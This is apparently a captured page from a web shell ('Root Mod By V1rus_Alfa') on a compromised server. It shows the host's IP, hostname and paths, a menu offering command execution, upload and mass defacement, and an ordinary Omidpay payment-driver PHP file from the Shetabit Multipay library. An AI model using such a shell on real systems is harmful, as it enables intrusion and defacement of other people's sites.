���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
shetabit
/
multipay
/
src
/
Drivers
/
Omidpay
/
Viewing: Omidpay.php
<?php namespace Shetabit\Multipay\Drivers\Omidpay; use GuzzleHttp\Client; use Shetabit\Multipay\Abstracts\Driver; use Shetabit\Multipay\Contracts\ReceiptInterface; use Shetabit\Multipay\Exceptions\InvalidPaymentException; use Shetabit\Multipay\Exceptions\PurchaseFailedException; use Shetabit\Multipay\Invoice; use Shetabit\Multipay\Receipt; use Shetabit\Multipay\RedirectionForm; use Shetabit\Multipay\Request; class Omidpay extends Driver { /** * Sadad Client. * * @var object */ protected $client; /** * Invoice * * @var Invoice */ protected $invoice; /** * Driver settings * * @var object */ protected $settings; /** * Sadad constructor. * Construct the class with the relevant settings. * * @param Invoice $invoice * @param $settings */ public function __construct(Invoice $invoice, $settings) { $this->invoice($invoice); $this->settings = (object) $settings; $this->client = new Client(); } /** * Purchase Invoice. * * @return string * * @throws PurchaseFailedException * @throws \GuzzleHttp\Exception\GuzzleException */ public function purchase(): string { $data = array( 'WSContext' => [ 'UserId' => $this->settings->username, 'Password' => $this->settings->password, ], 'TransType' => 'EN_GOODS', 'ReserveNum' => $this->invoice->getUuid(), 'MerchantId' => $this->settings->merchantId, 'Amount' => $this->invoice->getAmount() * ($this->settings->currency == 'T' ? 10 : 1), // convert to rial 'RedirectUrl' => $this->settings->callbackUrl, ); $response = $this->client->request( "POST", $this->settings->apiGenerateTokenUrl, [ 'json' => $data, "headers" => [ 'Content-Type' => 'application/json', 'Accept' => 'application/json', 'User-Agent' => '', ], ] ); $responseStatus = $response->getStatusCode(); if ($responseStatus != 200) { throw new PurchaseFailedException($this->translateStatus("unknown_error")); } $jsonBody = $response->getBody()->getContents(); $responseData = json_decode($jsonBody, true); $result = $responseData['Result']; if (!$this->isSucceed($result)) { throw new PurchaseFailedException($this->translateStatus($result)); } // set transaction id $this->invoice->transactionId($responseData['Token']); // return the transaction’s id return $this->invoice->getTransactionId(); } /** * Pay the Invoice * * @return RedirectionForm */ public function pay(): RedirectionForm { $token = $this->invoice->getTransactionId(); $payUrl = $this->settings->apiPaymentUrl; return $this->redirectWithForm($payUrl, ['token' => $token, 'language' => 'fa']); } /** * Verify payment * * @return ReceiptInterface * * @throws InvalidPaymentException * @throws \GuzzleHttp\Exception\GuzzleException */ public function verify(): ReceiptInterface { $token = $this->invoice->getTransactionId() ?? Request::input('token'); $refNum = Request::input('RefNum'); $response = $this->client->request( "POST", $this->settings->apiVerificationUrl, [ "json" => [ 'WSContext' => [ 'UserId' => $this->settings->username, 'Password' => $this->settings->password, ], 'Token' => $token, 'RefNum' => $refNum ], "headers" => [ 'Content-Type' => 'application/json', 'Accept' => 'application/json', 'User-Agent' => '', ], ] ); $body = json_decode($response->getBody()->getContents()); $result = $body->Result; if (!$this->isSucceed($result)) { throw new InvalidPaymentException($this->translateStatus($result)); } return $this->createReceipt($body->RefNum); } /** * Generate the payment's receipt * * @param $referenceId * * @return Receipt */ protected function createReceipt($referenceId): Receipt { return new Receipt('omidpay', $referenceId); } /** * @param string $status * @return bool */ private function isSucceed(string $status): bool { return $status == "erSucceed"; } /** * Convert status to a readable message. * * @param $status * * @return mixed|string */ private function translateStatus($status): string { $translations = [ 'erSucceed' => 'سرویس با موفقیت اجراء شد.', 'erAAS_UseridOrPassIsRequired' => 'کد کاربری و رمز الزامی هست.', 'erAAS_InvalidUseridOrPass' => 'کد کاربری یا رمز صحیح نمی باشد.', 'erAAS_InvalidUserType' => 'نوع کاربر صحیح نمیباشد.', 'erAAS_UserExpired' => 'کاربر منقضی شده است.', 'erAAS_UserNotActive' => 'کاربر غیر فعال هست.', 'erAAS_UserTemporaryInActive' => 'کاربر موقتا غیر فعال شده است.', 'erAAS_UserSessionGenerateError' => 'خطا در تولید شناسه لاگین', 'erAAS_UserPassMinLengthError' => 'حداقل طول رمز رعایت نشده است.', 'erAAS_UserPassMaxLengthError' => 'حداکثر طول رمز رعایت نشده است.', 'erAAS_InvalidUserCertificate' => 'برای کاربر فایل سرتیفکیت تعریف نشده است.', 'erAAS_InvalidPasswordChars' => 'کاراکترهای غیر مجاز در رمز', 'erAAS_InvalidSession' => 'شناسه لاگین معتبر نمیباشد ', 'erAAS_InvalidChannelId' => 'کانال معتبر نمیباشد.', 'erAAS_InvalidParam' => 'پارامترها معتبر نمیباشد.', 'erAAS_NotAllowedToService' => 'کاربر مجوز سرویس را ندارد.', 'erAAS_SessionIsExpired' => 'شناسه الگین معتبر نمیباشد.', 'erAAS_InvalidData' => 'دادهها معتبر نمیباشد.', 'erAAS_InvalidSignature' => 'امضاء دیتا درست نمیباشد.', 'erAAS_InvalidToken' => 'توکن معتبر نمیباشد.', 'erAAS_InvalidSourceIp' => 'آدرس آی پی معتبر نمیباشد.', 'erMts_ParamIsNull' => 'پارمترهای ورودی خالی میباشد.', 'erMts_UnknownError' => 'خطای ناشناخته', 'erMts_InvalidAmount' => 'مبلغ معتبر نمیباشد.', 'erMts_InvalidBillId' => 'شناسه قبض معتبر نمیباشد.', 'erMts_InvalidPayId' => 'شناسه پرداخت معتبر نمیباشد.', 'erMts_InvalidEmailAddLen' => 'طول ایمیل معتبر نمیباشد.', 'erMts_InvalidGoodsReferenceIdLen' => 'طول شناسه خرید معتبر نمیباشد.', 'erMts_InvalidMerchantGoodsReferenceIdLen' => 'طول شناسه خرید پذیرنده معتبر نمیباشد.', 'erMts_InvalidMobileNo' => 'فرمت شماره موبایل معتبر نمیباشد.', 'erMts_InvalidPorductId' => 'طول یا فرمت کد محصول معتبر نمیباشد.', 'erMts_InvalidRedirectUrl' => 'طول یا فرمت آدرس صفحه رجوع معتبر نمیباشد.', 'erMts_InvalidReferenceNum' => 'طول یا فرمت شماره رفرنس معتبر نمیباشد.', 'erMts_InvalidRequestParam' => 'پارامترهای درخواست معتبر نمیباشد.', 'erMts_InvalidReserveNum' => 'طول یا فرمت شماره رزرو معتبر نمیباشد.', 'erMts_InvalidSessionId' => 'شناسه الگین معتبر نمیباشد.', 'erMts_InvalidSignature' => 'طول یا فرمت امضاء دیتا معتبر نمیباشد.', 'erMts_InvalidTerminal' => 'کد ترمینال معتبر نمیباشد.', 'erMts_InvalidToken' => 'توکن معتبر نمیباشد.', 'erMts_InvalidTransType' => 'نوع تراکنش معتبر نمیباشد.', 'erMts_InvalidUniqueId' => 'کد یکتا معتبر نمیباشد.', 'erMts_InvalidUseridOrPass' => 'رمز یا کد کاربری معتبر نمی باشد.', 'erMts_RepeatedBillId' => 'پرداخت قبض تکراری می باشد.', 'erMts_AASError' => 'کد کاربری و رمز الزامی هست.', 'erMts_SCMError' => 'خطای سرور مدیریت کانال', ]; $unknownError = 'خطای ناشناخته رخ داده است. در صورت کسر مبلغ از حساب حداکثر پس از 72 ساعت به حسابتان برمیگردد.'; return array_key_exists($status, $translations) ? $translations[$status] : $unknownError; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa